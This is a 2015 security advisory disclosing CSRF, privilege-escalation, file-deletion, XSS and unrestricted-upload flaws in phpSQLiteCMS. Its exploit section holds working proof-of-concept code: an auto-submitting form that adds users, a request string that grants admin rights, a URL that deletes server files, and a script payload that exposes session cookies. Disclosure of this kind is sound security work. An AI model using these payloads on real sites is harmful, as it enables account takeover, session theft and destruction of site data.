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phpSQLiteCMS CSRF / XSS / Privilege Escalation / File Upload
`[+] Credits: John Page ( hyp3rlinx )
[+] Domains: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPSQLITECMS0712.txt
Vendor:
================================
phpsqlitecms.net
Product:
================================
ilosuna-phpsqlitecms-d9b8219
Advisory Information:
==============================================================================
CSRF, Unrestricted File type upload, Privilege escalation & XSS
Vulnerabilities.
User will be affected if they visit a malicious website or click any
infected link.
Possibly resulting in malicious attackers taking control of the Admin / CMS
area.
Vulnerability Details:
=====================
CSRF:
-----
We can add arbitrary users to the system, delete arbitrary web server files
and escalate privileges, as no CSRF token is present.
Add arbitrary user:
-------------------
The following request variables are all that is needed to add users to
system.
mode = users
new_user_submitted = true
name = "hyp3rlinx"
pw = "12345"
pw_r = "12345"
Privilege escalation:
---------------------
Under users area in admin we can easily gain admin privileges, again using
CSRF vulnerability we
submit form using our id and change request variable to type '1' granting
us admin privileges.
e.g.
mode:users
edit_user_submitted:true
id:3
name:hyp3rlinx
new_pw:
new_pw_r:
type:1 <------make us admin
Delete aribitrary files:
------------------------
The following request parameters are all we is need to delete files from
media or files directorys
under the web servers CMS area.
mode=filemanager
directory=files
delete=index.html
confirmed=true
XSS:
-----
We can steal PHP session cookie via XSS vulnerability
Unrestricted File Type Upload:
------------------------------
The files & media dirs will happily take .PHP, .EXE etc... and PHP scripts
when selected will execute
whatever PHP script we upload.
Exploit code(s):
===============
1- CSRF POC Add arbitrary users to the system.
---------------------------------------------
<script>
function doit(){
var e=document.getElementById('evil')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="evil" action="
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php"
method="post">
<input type="text" name="mode" value="users"/>
<input type="text" name="new_user_submitted" value="true"/>
<input type="text" name="name" value="hyp3rlinx" />
<input type="text" name="pw" value="abc123" />
<input type="text" name="pw_r" value="abc123" />
</form>
2- CSRF privilege escalation POST URL:
--------------------------------------
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php
Privilege escalation request string:
------------------------------------
mode=users&edit_user_submitted=true&id=3&name=hyp3rlinx&new_pw=&new_pw_r=&type=1
3- CSRF Delete Aribitary Server Files:
--------------------------------------
Below request URL will delete the index.html file in files dir on web
server without any type
of request validation CSRF token etc.
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=filemanager
&directory=files&delete=index.html&confirmed=true
XSS steal PHP session ID POC:
-----------------------------
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=comments&type=0&
edit=49&comment_id="/><script>alert('XSS by hyp3rlinx
'%2bdocument.cookie)</script>&page=1
Disclosure Timeline:
=========================================================
Vendor Notification: NA
July 12, 2015 : Public Disclosure
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST & GET
Vulnerable Product: [+] ilosuna-phpsqlitecms-d9b8219
Vulnerable Parameter(s): [+] comment_id, delete, type,
new_user_submitted
Affected Area(s): [+] Admin & CMS
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
(hyp3rlinx)
`
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13 Jul 2015 00:00Current
0.7Low risk
Vulners AI Score0.7